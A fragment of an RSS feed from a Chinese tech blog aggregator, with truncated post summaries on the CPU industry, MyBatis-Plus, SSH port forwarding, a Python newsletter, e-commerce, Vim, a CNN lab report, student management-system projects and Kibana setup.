硬件描述语言（如Verilog或VHDL）编写电路逻辑和功能，并进行验证、仿真和优化。&#xA;（1）从盈利能力角度分析，中国CPU设计企业的盈利能力存在较大的差异，行业平均水平处于中等水平。以龙芯中科招股说明书中公布的2021年中国CPU设计企业各上市公司毛利率为例，最大值为景嘉微的63.24%，最小值为北京君正的36.10%，最大值和最小值之间的差距超过27个百分点，而中值为46.72%。&#xA;（2）从技术水平角度分析，与国际一流CPU相比，中国国产CPU在制程、核心数、超线程、主频、内存通道数和最高内存频率等关键指标上仍存在一定差距，这种差距主要体现在设计能力上。以Intel和完全自主的龙芯对比，Intel在130nm工艺就做到了主频3.8G，而龙芯的3A1000在同等工艺和核数前提下，主频只有1G；如果将Intel产品降到1G，性能将是龙芯的5倍。纵向对比看，同样以龙芯为例，其第二代产品3A2000在没有提升主频的前提下，通过设计能力的改进，性能提升了2.5倍；&#xA;3A3000提升至28nm制程后，主频提升至1.5G，性能提升1.6倍；3A4000在原工艺基础上，通过设计提升性能2倍；3A5000提升至14nm制程，性能提升1.6倍；目前在研的3A6000，据龙芯介绍，其性能已经达到了Intel在14nm的性能水平。从纵向发展历程来看，相同工艺条件下，设计能力提升带来的产品性能提升十分显著，在fabless模式下，设计能力的差距显得尤为重要。&#xA;产业链下游&#xA;CPU下游应用端包括服务器、工作站、PC/平板、移动终端和嵌入式设备等，汽车是嵌入式设备中比较具有发展前景的细分市场。&#xA;（1）从应用场景角度分析，下游产业在中国与海外都拥有巨大市场，整体利润率高，但垄断情况相对较低。目前国产CPU主要需求来自服务器、政企、信创等市场，鲜少出现在消费级市场。“中国芯”在政务领域已进入大规模应用阶段。&#xA;（2）从应用需求角度分析，新能源汽车需求的激增将同步拉动对耐高温和可靠性强的CPU的市场需求，推动CPU设计企业朝定制化、多样化的方向进行产业转型。&#xA;5、计算机CPU行业规模&#xA;中国计算机CPU行业目前处于高速发展期，在2019-2021年期间以6.91%的平均增速稳步快速增长。2022年受新冠疫情反弹、全球CPU产业链受国际形势影响和“缺芯潮”等多种不利因素的冲击，计算机CPU行业规模下降至314.82亿元，较2021年下降了15.19%。随着中国政府出台一系列鼓励政策、国际局势的逐步稳定、5G和物联网等新兴领域的驱动，对高性能、低功耗、集成度高的CPU的需求将持续增加，中国CPU行业规模有望持续稳步发展。预计到2027年中国计算机CPU市场规模将达5109.49亿元。&#xA;中国CPU行业市场规模的稳步增长逻辑主要体现在两个方面：&#xA;（1）中国经济环境和科学技术的不断发展带动拉动需求增长和转型。一方面，中国消费者消费能力的提高和消费习惯的变化进一步拉动了CPU及其下游行业的发展。另一方面，新兴技术领域的发展推动了对高性能处理器的需求增加。随着中国5G技术的不断普及、人工智能和物联网的快速发展，对处理器性能的需求越来越高。根据中国工信部发布的数据，2020年中国5G终端出货量超过1.7亿台，5G终端的普及使得对高性能处理器的需求进一步增加。同时，人工智能在各个行业的应用也在不断扩大，对高性能CPU的需求正不断增加。&#xA;（2）中国供给侧结构性改革效果显著，全产业链的日益完善推动CPU行业的快速发展。一方面，中国政府出台了一系列支持性政策，鼓励本土企业在CPU领域进行技术研发和创新。另一方面，中国的CPU市场发展得益于完善的产业生态链系统。从芯片设计、制造到封装测试，整个CPU生态链系统得到不断完善，提高了供给效率和产品质量。随着产业链的蓬勃发展，中国成为全球CPU供应链的重要一环，进一步提升了中国CPU的供给能力。&#xA;6、计算机CPU竞争格局&#xA;中国计算机CPU行业的竞争格局涉及多家本土企业和国际企业，且以外企为主导，市场集中度较高。本土企业虽然占有的市场份额较少，但近年来行业整体得到快速发展，市场竞争日趋激烈。中国大陆本土CPU行业大致分为三个梯队：&#xA;（1）第一梯队是以海光信息、海思半导体、上海兆芯、龙芯中科等企业为代表的领军企业。这些企业多为上市公司或母公司上市，拥有较强的融资能力，在技术积累和市场拓展方面具有优势；同时较早布局多种类型的CPU应用市场及配套产品的研发，具有较为完善的产业链和广泛的业务范畴，在业内具有较强的影响力和品牌效应。如海思半导体推出鲲鹏920处理器时，同步推出了基于鲲鹏920的TaiShan服务器和华为云服务，形成独特的“端边云算力同构”的优势，通过软硬件协同进一步提升处理器性能。&#xA;（2）第二梯队是以飞腾信息、北京君正、炬芯科技等企业为代表的企业。这些企业拥有灵活的融资方式和政策支持，具备良好的研发和创新能力，但也面临产品的同质化程度上升、核心竞争力需要不断加强等问题。&#xA;（3）第三梯队是以平头哥、国芯科技、申威科技等企业为代表的企业。这些企业往往拥有独特的发展模式，业务类型较为专一，如平头哥在建立之初即明确了以RISC-V架构为基础的发展方向，深耕企业未来的发展价值；而飞腾信息则主要聚焦军用市场，产品侧重特种超算服务器领域，全可控技术与生态均有独家壁垒，预计后续仍将专注深耕原有领域。&#xA;从产业链整合角度，CPU行业上中游均存在较高的技术壁垒，中游企业对上游供应商的原材料、设备和技术依赖性强，资本实力雄厚的中游企业通过收购、兼并上游企业实现全产业链，避免关键技术和产业流程受限的趋势明显。在2022年全球芯片十大收购案中，有三项交易业务涉及芯片设计，涉及金额达1246.9亿美元；三项交易业务涉及圆晶代工，涉及金额达60.05亿美元。从技术和业务重合角度，当前中国大陆本土CPU行业整体技术水平相似度较高，业务重合度较高，可能存在同业业务兼并的趋势。&#xA;以上内容来自智能计算芯世界&#xA;多年来一直专注于科学计算服务器，入围政采平台，H100、A100、H800、A800、L40、L40S、RTX6000 Ada，RTX A6000，单台双路256核心服务器等。</description>
    </item>
    <item>
      <title>Spring Boot学习随笔- 集成MyBatis-Plus（二）条件查询QueryWrapper、聚合函数的使用、Lambda条件查询</title>
      <link>https://bchobby.github.io/posts/b2c7629b1071e6f645c2eb1b1d9b9985/</link>
      <pubDate>Sat, 30 Dec 2023 17:46:31 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/b2c7629b1071e6f645c2eb1b1d9b9985/</guid>
      <description>学习视频：【编程不良人】Mybatis-Plus整合SpringBoot实战教程,提高的你开发效率,后端人员必备!&#xA;查询方法详解 普通查询&#xA;// 根据主键id去查询单个结果的。 @Test public void selectById() { User user = userMapper.selectById(1739970502337392641L); System.out.println(user); } //根据多个主键id批量查询结果的 @Test public void selectIds() { List&amp;lt;Long&amp;gt; list = Arrays.asList(1739970502337392641L, 1739983903621038082L, 1739984905459900417L); List&amp;lt;User&amp;gt; userList = userMapper.selectBatchIds(list); userList.forEach(System.out::println); } // 根据多个条件查询结果的 @Test public void selectByMap() { // map.put(&#34;name&#34;,&#34;小明&#34;) // map.put(&#34;age&#34;,30) // 相当于 where name =&#34;小明&#34; and age=30 Map&amp;lt;String, Object&amp;gt; columnMap = new HashMap&amp;lt;&amp;gt;(); columnMap.put(&#34;name&#34;, &#34;小刚&#34;); columnMap.put(&#34;age&#34;, &#34;18&#34;); List&amp;lt;User&amp;gt; userList = userMapper.selectByMap(columnMap); userList.forEach(System.out::println); } 条件构造器查询 【重要】</description>
    </item>
    <item>
      <title>SSH -L：安全、便捷、无边界的网络通行证</title>
      <link>https://bchobby.github.io/posts/89a83143fa23cb82e688837f0e271c4e/</link>
      <pubDate>Sat, 30 Dec 2023 17:25:08 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/89a83143fa23cb82e688837f0e271c4e/</guid>
      <description>欢迎来到我的博客，代码的世界里，每一行都是一个故事 SSH -L：安全、便捷、无边界的网络通行证 前言1. SSH -L基础概念SSH -L 的基本语法：端口转发的原理和作用： 2. SSH -L的基本用法远程访问本地示例：访问本地Web服务示例：通过SSH跳板机访问内部服务 本地访问远程示例：通过本地访问远程MySQL服务 动态端口转发动态端口转发的基本语法：通过动态端口转发实现全局代理： 最佳实践最佳实践：安全注意事项： 前言 在网络的无边际世界里，有时候我们需要突破种种限制，安全地穿越网络的边界。这就像是一场奇妙的冒险，而SSH -L则是你的导航仪。想象一下，就像在网络空间中挖掘一条安全通道，让数据安全、便捷地流动，就像在网络的边界开辟一扇神奇的门。&#xA;SSH -L 是一种SSH（Secure Shell）命令行选项，用于实现本地端口转发。本地端口转发是一种在安全通信通道中将本地计算机上的端口映射到远程服务器的指定端口的技术。这种功能对于建立安全的连接、绕过防火墙、访问内部网络服务等场景非常有用。&#xA;1. SSH -L基础概念 SSH -L 的基本语法： ssh -L [local_bind_address:]local_port:remote_host:remote_port user@ssh_server local_bind_address：本地绑定地址，通常是 127.0.0.1 或 localhost。如果未指定，则默认为 localhost。local_port：本地计算机上要绑定的端口。remote_host：远程服务器的主机名或IP地址。remote_port：远程服务器上要映射的端口。user@ssh_server：SSH服务器的用户名和地址。 端口转发的原理和作用： 端口转发是通过SSH安全通道将本地端口映射到远程服务器上的指定端口，从而实现安全的数据传输。这种技术有两种主要类型：本地端口转发（Local Port Forwarding）和远程端口转发（Remote Port Forwarding）。&#xA;本地端口转发（Local Port Forwarding）：&#xA;本地端口转发是将本地计算机上的端口映射到远程服务器上。当本地计算机上的应用程序连接到指定的本地端口时，SSH客户端会将流量加密并通过SSH通道传输到远程服务器上，然后将流量解密并转发到远程服务器上的指定端口。这种方式常用于访问远程服务器上的服务，如数据库、Web服务等，而不直接将这些服务暴露在公共网络中。 ssh -L 8080:localhost:80 user@ssh_server 上述例子中，本地计算机的端口 8080 被映射到远程服务器的本地地址（localhost）上的端口 80。&#xA;远程端口转发（Remote Port Forwarding）：&#xA;远程端口转发是将远程服务器上的端口映射到本地计算机上。当远程服务器上的应用程序连接到指定的端口时，SSH客户端会将流量加密并通过SSH通道传输到本地计算机上，然后将流量解密并转发到本地计算机上的指定端口。这种方式可用于在远程服务器上访问本地计算机上的服务，如本地数据库、Web服务等。 ssh -R 2222:localhost:22 user@ssh_server 上述例子中，远程服务器的端口 2222 被映射到本地计算机的端口 22，允许在远程服务器上通过SSH连接到本地计算机。&#xA;总体而言，SSH的端口转发提供了一种安全、加密的通信通道，使得在不同网络中的计算机之间可以安全地共享服务和数据。&#xA;2. SSH -L的基本用法 远程访问本地 示例：访问本地Web服务 假设本地计算机上有一个运行在端口 8080 的Web服务，我们想通过SSH访问该服务。</description>
    </item>
    <item>
      <title>Python 潮流周刊#33：FastAPI 很好，Flask 也没死，它们都有未来</title>
      <link>https://bchobby.github.io/posts/73c1d0fe7527853e7bbbf75b4b2b5d35/</link>
      <pubDate>Sat, 30 Dec 2023 17:24:09 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/73c1d0fe7527853e7bbbf75b4b2b5d35/</guid>
      <description>△△请给“Python猫”加星标 ，以免错过文章推送&#xA;你好，我是猫哥。这里每周分享优质的 Python、AI 及通用技术内容，大部分为英文。本周刊开源，欢迎投稿[1]。另有电报频道[2]作为副刊，补充发布更加丰富的资讯。&#xA;🦄文章&amp;amp;教程 1、Flask 已死，FastAPI 是未来[3]&#xA;一篇标题十分吸睛引战的文章。说实话因见过太多“xxx 已死”、“再见了 xxx”这种煽动情绪的标题，我已经习惯绕道不读。比较框架优缺点，这非常合理，但刻意往贬低一方的角度引，就显狭隘了。（附：一篇回应文 Flask 已死，FastAPI 永生[4]、对回应文的回应文 理性参与讨论《Flask 已死，FastAPI 永生》[5]）&#xA;2、Python + Flask 打造属于自己的 RSS 安全信息流[6]&#xA;如何用 Python 搭建属于自己的 RSS 信息流网站？文章介绍了一个完整的 Flask 项目，支持对接 RSS、解析文章、自动更新，最后部署上线并使用 Nginx 作反向代理。&#xA;3、Microdot：又一个 Python Web 框架[7]&#xA;作者介绍了自己开源的一个语法类似于 Flask 的 Web 框架，完全支持 asyncio 异步，支持 Websocket、SSE、CORS、Jinja 和 uTemplate 模板等功能。非常小（核心框架代码 700 多行），可以跟 MicroPython 一起使用。&#xA;4、周末 AI 项目：在 2004 年的诺基亚 9500 上运行 7B 大型语言模型[8]&#xA;在近 20 年前的早期智能手机上运行当下最火的大语言模型，这事感觉蛮有趣！作者使用大小为 4GB 的Llama-2–7B-Chat-GPTQ 模型，最先尝试用 Streamlit 创建应用，但发现它的浏览器不支持，最后用 Flask 开发一个简单的网页，实现与 LLM 的交互！</description>
    </item>
    <item>
      <title>跨境电商：平台选择的艺术与科学</title>
      <link>https://bchobby.github.io/posts/1d3a13300e82b153121fd10b21ac94a8/</link>
      <pubDate>Sat, 30 Dec 2023 17:20:10 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/1d3a13300e82b153121fd10b21ac94a8/</guid>
      <description>一、平台类型与特点&#xA;亚马逊：作为全球最大的电商平台之一，亚马逊拥有庞大的用户群体和完善的物流体系。它以优质的服务和高效的配送著称，但竞争也相对激烈。eBay：eBay是一个全球性的在线拍卖和购物网站，它的市场覆盖面广，但企业需要面对来自全球卖家的竞争。阿里巴巴：作为中国电商巨头，阿里巴巴在国际市场上也有一定影响力。它以B2B业务起家，逐渐发展成为涵盖B2C、C2C等模式的综合性电商平台。沃尔玛：沃尔玛作为全球最大的实体零售商，近年来也在积极布局电商领域。它的优势在于强大的供应链管理和品牌影响力，但入驻门槛相对较高。 二、平台选择的艺术&#xA;目标市场：企业首先需要明确自己的目标市场，了解目标消费者的需求和购物习惯。根据目标市场的特点选择合适的电商平台，能够更好地触达潜在客户。竞争情况：不同平台的竞争程度不同，企业在选择平台时要考虑自身在行业中的竞争地位，选择适合自己的战场。平台费用：不同平台的收费标准各异，企业需要综合考虑平台费用、交易费用以及利润空间等因素，选择性价比最高的平台。品牌建设：企业在选择电商平台时，要考虑平台对品牌建设的支持程度。在平台上建立品牌认知度和口碑，有助于提升企业形象和客户忠诚度。 三、平台选择的科学&#xA;数据驱动决策：企业可以通过市场调研、竞品分析等方式收集数据，了解各平台的优劣势、用户画像等信息。基于数据做出决策，能够提高选择的准确性和科学性。实验与迭代：在选择平台时，企业可以采用实验的方法进行小规模尝试，根据实际效果进行调整和优化。通过迭代的方式不断完善决策过程，能够降低风险并提高成功率。持续关注动态：跨境电商市场变化迅速，企业要持续关注各平台的政策调整、功能更新等动态信息，以便及时调整策略和适应变化。跨平台合作：在多平台运营的情况下，企业可以探索跨平台合作的可能性，通过资源共享、互推互粉等方式实现共赢。这有助于降低成本、提高效益以及增强竞争力。 四、案例分析&#xA;以某家居用品企业为例，该企业在进入欧洲市场时面临了平台选择的问题。通过对市场调研和竞品分析，该企业发现亚马逊在欧洲市场的用户基础广泛且物流体系完善；而eBay则具有广泛的覆盖面和较多的中小企业入驻。考虑到自身产品特点和市场定位，该企业决定在亚马逊和eBay两个平台上同时开展业务。在运营过程中，该企业根据不同平台的销售表现进行数据分析和优化调整，最终取得了良好的业绩。&#xA;五、总结&#xA;跨境电商平台选择的艺术与科学相辅相成。企业在选择平台时需综合考虑多方面因素，包括目标市场、竞争情况、费用和品牌建设等。同时，通过数据驱动决策、实验与迭代、持续关注动态和跨平台合作等方法提高决策的科学性。成功的跨境电商企业需要在艺术与科学之间找到平衡点，以实现可持续发展和竞争优势。</description>
    </item>
    <item>
      <title>从独立站到跨境电商：品牌成长的必经之路</title>
      <link>https://bchobby.github.io/posts/26eab6794fbe7c18b621b6b7ff60653e/</link>
      <pubDate>Sat, 30 Dec 2023 17:14:02 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/26eab6794fbe7c18b621b6b7ff60653e/</guid>
      <description>一、独立站的重要性&#xA;在品牌发展的初期，建立一个独立的网站是至关重要的。独立站不仅能够展示企业的品牌形象和产品特色，还能够通过SEO优化、社交媒体营销等方式提高品牌的知名度和曝光率。此外，独立站还能够收集用户数据，了解消费者的需求和行为习惯，为企业的产品研发和市场营销提供有力支持。&#xA;二、跨境电商的优势&#xA;然而，独立站的发展往往面临着流量和地域限制。这时候，跨境电商的优势就体现出来了。跨境电商能够将企业产品推向更广阔的市场，并获得更多的流量和客户。同时，跨境电商还能够降低交易成本、提高交易效率和客户满意度，为企业的品牌发展提供有力支持。&#xA;三、从独立站到跨境电商的挑战&#xA;然而，从独立站到跨境电商的转型并不是一帆风顺的。企业需要面对诸多挑战，如语言和文化差异、物流和仓储问题、税收和法规差异等。此外，跨境电商还需要企业具备全球化的视野和跨文化沟通能力，以便更好地理解和满足不同国家和地区消费者的需求。&#xA;四、实现从独立站到跨境电商的转型&#xA;为了实现从独立站到跨境电商的转型，企业需要采取一系列措施。首先，企业需要了解目标市场的文化和消费习惯，为产品研发和营销策略提供依据。其次，企业需要选择合适的电商平台和建立完善的物流体系，确保产品的顺利运输。此外，企业还需要加强与客户的沟通，提高客户服务质量，增强消费者的信任和忠诚度。&#xA;下面是一个简单的代码示例，用于展示如何实现在线支付功能，这是跨境电商中一个重要的环节：&#xA;# 导入必要的库 import requests import json import pprint import os from flask import Flask, request, redirect, url_for, render_template_string from flask_sqlalchemy import SQLAlchemy from flask_bcrypt import Bcrypt from flask_login import LoginManager, UserMixin, login_user, login_required, logout_user from itsdangerous import URLSafeTimedSerializer, SignatureExpired, BadSignature from datetime import datetime, timedelta import stripe # 初始化 Flask 应用和数据库连接 app = Flask(__name__) app.config[&#39;SQLALCHEMY_DATABASE_URI&#39;] = &#39;sqlite:tmp/test.db&#39; # 修改为你的数据库 URI db = SQLAlchemy(app) bcrypt = Bcrypt(app) login_manager = LoginManager(app) login_manager.</description>
    </item>
    <item>
      <title>VIM8 文本实战学习</title>
      <link>https://bchobby.github.io/posts/ae37de117afa54bbb4b6c5c1c3bd9f14/</link>
      <pubDate>Sat, 30 Dec 2023 17:12:20 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/ae37de117afa54bbb4b6c5c1c3bd9f14/</guid>
      <description>目录&#xA;第一章 开始Vim 之旅&#xA;1.1 模式界面与无模式界面对比&#xA;1.2 通过.vimrc文件来配置Vim&#xA;1.3 Vim 交换文件&#xA;1.4 通过:help阅读Vim手册&#xA;本章小结&#xA;第二章 高级编辑和文本浏览&#xA;主要内容：&#xA;2.1 安装插件&#xA;2.2 组织工作区&#xA;2.2.1 缓冲区&#xA;2.2.2 插件——unimpaired&#xA;2.2.3 窗口&#xA;2.2.4 标签页&#xA;2.2.5 折叠&#xA;2.3 文件树浏览&#xA;2.3.1 目录浏览器Netrw&#xA;2.3.2 支持文件菜单的:e 命令&#xA;2.3.3 插件—— NERDTree&#xA;2.4.4 插件——Vinegar&#xA;2.4.5 插件——CtrlP&#xA;2.4 文本的浏览&#xA;2.4.1 切换到插入模式&#xA;2.4.2 用/和？搜索&#xA;2.4.3 利用文本对象&#xA;2.4.4 插件——EasyMotion&#xA;2.6 使用寄存器进行复制和粘贴&#xA;2.6.1 寄存器&#xA;2.6.2 从外部复制文本到Vim中&#xA;本章小结&#xA;第三章 使用先导键——插件管理&#xA;主要内容&#xA;3.1 插件管理&#xA;3.1.1 插件管理——vim-plug</description>
    </item>
    <item>
      <title>基于CNN神经网络的手写字符识别实验报告</title>
      <link>https://bchobby.github.io/posts/afc5d9de60031511fd23d1bd0747ff64/</link>
      <pubDate>Sat, 30 Dec 2023 17:02:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/afc5d9de60031511fd23d1bd0747ff64/</guid>
      <description>作业要求&#xA;具体实验内容根据实际情况自拟，可以是传统的BP神经网络，Hopfield神经网络，也可以是深度学习相关内容。&#xA;数据集自选，可以是自建数据集，或MNIST，CIFAR10等公开数据集。&#xA;实验报告内容包括但不限于：&#xA;实验目标和动机，应明确说明输入数据，和网络输出数据；所设计相关网络的基本架构；核心架构的具体实现；网络训练和推理过程及说明；实验结果比对和分析；总结和讨论… 可根据需要自行扩展 评分标准：符合上述内容和格式要求，80分&#xA;根据算法原理介绍，算法实现，实验结果分析和讨论情况，加分0-5分；&#xA;根据实验结果分析和讨论各种神经网络方法的优缺点，加分0~5分；&#xA;讨论不同神经网络参数对性能的影响，并尝试比对，加分0~5分；&#xA;有自己观点或体现自身工作量，加分0-10分；&#xA;总分不超过100分。&#xA;目录&#xA;1. 实验目标和动机&#xA;2 CNN算法的基本原理&#xA;3 LeNet5网络基本架构&#xA;4 核心架构的具体实现&#xA;5 网络训练和推理过程及说明&#xA;6 实验结果对比和分析&#xA;6.1 不同神经网络参数对性能的影响&#xA;6.1.1 批处理大小&#xA;6.1.2 学习率&#xA;6.1.3 优化算法&#xA;6.1.4 激活函数&#xA;6.2 实验结果的分析&#xA;7. 各种神经网络方法的优缺点&#xA;7.1多层感知机（MLP）&#xA;7.2卷积神经网络（CNN）&#xA;7.3 循环神经网络（RNN）&#xA;7.4 长短期记忆网络（LSTM）和门控循环单元（GRU）&#xA;8.总结和讨论&#xA;9.附录&#xA;1. 实验目标和动机 实验的目标是使用MNIST数据集进行手写字符识别。MNIST数据集包含许多手写数字的图像，每个图像都是28x28像素的灰度图像，表示数字0到9。&#xA;实验动机是探索使用卷积神经网络（CNN）进行图像识别任务，并比较不同网络结构和参数配置对性能的影响。&#xA;输入数据： 28x28像素的灰度图像&#xA;网络输出数据： 预测的数字类别&#xA;2 CNN算法的基本原理 CNN是一种专门用于处理图像数据的深度学习模型，其核心原理包括卷积层、池化层和全连接层。&#xA;卷积神经网络利用卷积层来提取图像特征。卷积操作通过滑动卷积核在输入图像上提取局部特征，这有助于捕获图像中的边缘、纹理等信息，并保留空间关系。&#xA;池化层用于降维和减少特征图的大小，同时保留主要特征。最常见的池化操作是最大池化，它从每个局部区域中选择最大值作为输出，减小了特征图的尺寸并提高了计算效率。&#xA;全连接层通常位于网络的顶部，将卷积层和池化层提取的特征映射到输出类别。全连接层通过学习权重参数，将特征映射到每个类别的概率，最终实现图像分类。&#xA;激活层采用激活函数，把卷积层输出结果做非线性映射。在卷积层之后使用，以增加网络的表达能力。常见的激活函数包括ReLU（Rectified Linear Unit）、Sigmoid和Tanh等。ReLU是最常用的激活函数，它能够有效缓解梯度消失问题，并加速网络的收敛速度。&#xA;Softmax层通常作为网络的最后一层，用于将全连接层的输出转换成各个类别的概率分布。通过对这些概率进行比较，模型可以确定输入图像最可能属于哪个类别。&#xA;3 LeNet5网络基本架构 本实验使用CNN的经典模型LeNet5进行手写数字的识别。&#xA;LeNet-5的基本结构包括7层网络结构（不含输入层），其中包括2个卷积层、2个降采样层（池化层）、2个全连接层和输出层。</description>
    </item>
    <item>
      <title>python&#43;django高校教材共享管理系统PyCharm 项目</title>
      <link>https://bchobby.github.io/posts/d86f9a44e802b222345a91c8d58703c2/</link>
      <pubDate>Sat, 30 Dec 2023 16:20:43 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/d86f9a44e802b222345a91c8d58703c2/</guid>
      <description>本中原工学院教材共享平台采用的数据库是mysql，使用nodejs技术开发。在设计过程中，充分保证了系统代码的良好可读性、实用性、易扩展性、通用性、便于后期维护、操作方便以及页面简洁等特点。系统所要实现的功能分析，对于现在网络方便的管理，系统要实现用户可以直接在平台上进行查看所有数据信息，根据需求可以进行在线添加，删除或修改中原工学院教材共享平台信息，这样既能节省时间，不用再像传统的方式耽误时间，真的很难去满足管理员、用户和学生的各种需求。所以中原工学院教材共享平台的开发不仅仅是能满足管理员、用户和学生的需求，还能提高管理员的工作效率，减少原有不必要的工作量。&#xA;本课题使用Python语言进行开发。基于web,代码层面的操作主要在PyCharm中进行，将系统所使用到的表以及数据存储到MySQL数据库中&#xA;技术栈&#xA;后端：python+django&#xA;前端：vue.js+elementui&#xA;框架：django/flask&#xA;Python版本：python3.7+&#xA;数据库：mysql5.7&#xA;数据库工具：Navicat&#xA;开发软件：PyCharm .&#xA;本选题则旨在通过标签分类管理等方式，实现首页、个人中心、用户管理、学生管理、缴纳押金管理、用户积分管理、教材共享管理、精品教材管理、教材退还管理、注销账号管理、系统管理、订单管理等信息管理功能，从而达到对中原工学院教材共享信息的高效管理。&#xA;随着科学技术的飞速发展，社会的方方面面、各行各业都在努力与现代的先进技术接轨，通过科技手段来提高自身的优势，中原工学院教材共享管理当然也不能排除在外。中原工学院教材共享平台是以实际运用为开发背景，运用软件工程原理和开发方法，采用nodejs技术构建的一个管理系统。整个开发过程首先对软件系统进行需求分析，得出系统的主要功能。接着对系统进行总体设计和详细设计。总体设计主要包括系统功能设计、系统总体结构设计、系统数据结构设计和系统安全设计等；详细设计主要包括系统数据库访问的实现，主要功能模块的具体实现，模块实现关键代码等。最后对系统进行功能测试，并对测试结果进行分析总结，得出系统中存在的不足及需要改进的地方，为以后的系统维护提供了方便，同时也为今后开发类似系统提供了借鉴和帮助。这种个性化的网上系统管理特别注重交互协调与管理的相互配合，激发了管理人员的创造性与主动性，对中原工学院教材共享平台而言非常有利。&#xA;关键词：中原工学院教材共享，nodejs， 目 录&#xA;目 录 III&#xA;第1章 绪论 1&#xA;1.1背景及意义 1&#xA;1.2 国内外研究概况 1&#xA;1.3 研究的内容 1&#xA;2.3 B/S架构 3&#xA;第3章 系统分析 5&#xA;3.1 需求分析 5&#xA;3.2 系统可行性分析 5&#xA;3.2.1技术可行性：技术背景 5&#xA;3.2.2经济可行性 5&#xA;3.2.3操作可行性 6&#xA;3.3 项目设计目标与原则 6&#xA;3.4系统流程分析 7&#xA;3.4.1操作流程 7&#xA;3.4.2添加信息流程 8&#xA;3.4.3删除信息流程 9&#xA;第4章 系统设计 10&#xA;4.1 系统体系结构 10&#xA;4.2开发流程设计 11&#xA;4.3 数据库设计原则 12</description>
    </item>
    <item>
      <title>ElasticSearch学习笔记（二）</title>
      <link>https://bchobby.github.io/posts/200aebeaf18560223d6541fbe7329ae7/</link>
      <pubDate>Sat, 30 Dec 2023 16:18:15 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/200aebeaf18560223d6541fbe7329ae7/</guid>
      <description>通过前面的一阵胡乱操作，显然提升了我的学习兴趣，趁热打铁，接着往下学。还是先看看别人的教程吧。这里我看的是B站上【尚硅谷】的ElasticSearch教程，有兴趣的同学也可以去看看。&#xA;一、缘起–索引操作 看B站上的视频教程，本来是想跟着教程来创建一个索引，结果发现由于我使用的版本和教程中的版本不一致，结果使用postman很难完成像视频教程中一样的操作。&#xA;创建索引&#xA;在ES中一个索引就相当于mysql中的一个数据库，使用PUT来创建。&#xA;PUT https://localhost:9200/users 然尔在使用postman操作时出错了。&#xA;从上图中可以看到出错的原因是缺少认证信息。&#xA;查找了一番资料过后，决定放弃postman,而直接使用kibana.&#xA;二、Kibana安装 1.下载kibana&#xA;kibana官方下载地址&#xA;选择windows平台，点击下载。&#xA;2.安装&#xA;安装和Elasticsearch基本相似，也是解压既安装。&#xA;下图是Kibana解压后的目录结构。&#xA;和ElasticSearch的基本一致，在此不多赘述。&#xA;进入bin目录。&#xA;内容比ElasticSearch少了一些，同样在当前目录打开cmd命令窗口，运行kibana.bat批处理文件，窗口冻结了，仔细翻看并没有发现什么有用的信息，看来是没有启动成功。&#xA;从上图看到提示Kibana is starting说明已经启动了啊。&#xA;毫无头绪的我准备关闭这个窗口，再到bin目录下去寻找一些线索吧，无意间按下了回车键，冻结的窗口又向下滚动起来。&#xA;👿 通过我反复的验证，其实真正的原因是kibana的启动需要一定的时间，这和你的电脑的配置有关，和我在窗口按不按回车键并没有直接的关系。&#xA;打开http://localhost:5601果然出现了kibana的登录页面。&#xA;三、生成token 当我看到上面的画面的时候，我的心情是激动的，因为以上的操作是在我没有查找任何资料的情况下完成的。&#xA;在输入框内英文的提示是让我们粘贴来自于终端的token，在输入框的下面有一个链接，这个链接其实是告诉我们如何找到这个token,点开这个链接出现下图。&#xA;这两段英文提示的大致意思是你可以在终端中找到token,当然也可以在elasticsearch的bin目录下使用以下命令重新生成一个token。&#xA;bin\elasticsearch-create-enrollment-token.bat --scope kibana 我在终端中找半天也没找到，果断放弃，还是进入elasticsearch的bin目录，使用上述命令来生成token吧。&#xA;复制上面的token，在输入框中粘贴，注意如果你复制的token可能中间有断行，要把断行去掉，接下来点击Configure Elastic按钮，会弹出如下图所示的窗口。&#xA;同样，按照提示，到elasticsearch的目录下执行kibana-verification-code.bat批处理命令来得到验证码。&#xA;上图就是生成的验证码，输入这个验证码。&#xA;好了，输入验证码后登录成功，但是报错了。&#xA;其实到这里大家完全可以利用这个报错信息去百度中搜索寻找答案，而我的一般做法通常是先用自己的想法去试试，如果能解决不但能够增加自己学习的自信心，还能让知识掌握的更加牢固。&#xA;根据我的经验，像这种解压就能运行的软件，大都有一个配置文件，默认的配置文件基本上已经能够满足大部分使用场景了。进入kibana的解压目录，在config目录下果然有一个kibana.yml配置文件。在我进入这个目录之前，瞥了一眼kibana的终端窗口发现有两条报错信息，如下图所示。&#xA;大概的意思包含“无效的请求”，“无法获取Elasticsearch的版本信息”，以及“请求时间超时”，好吧我们就从这些信息入手，到kibana.yml文件中寻找答案吧。&#xA;我在kibana.yml文件中分别以“path”,”nodes”,”elasticsearch”为关键词进行了搜索，前两个关键词都没有命中，而”elasticsearch”却命中一片。&#xA;其中在43行中，是配置elasticsearch主机的，这行被注释掉了。很明显这里是关键，kibana是为接管elasticsearch而生成的，如果不知道elasticsearch的地址当然它就无法接管了。&#xA;打开这行注释，同时把地址改成https://localhost:9200,重启kibana服务。&#xA;重新登录http://localhost:5601，这次一切正常了。&#xA;好了，今天的教程就到这里了，希望能给正在学习的同学一点学习方法的启发。2024，我们一起学习，加油，奥里给。</description>
    </item>
    <item>
      <title>python&#43;vue高校体育器材管理信息系统5us4g</title>
      <link>https://bchobby.github.io/posts/26a2d90b70c1a4f715e8110c5e269a4b/</link>
      <pubDate>Sat, 30 Dec 2023 16:15:04 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/26a2d90b70c1a4f715e8110c5e269a4b/</guid>
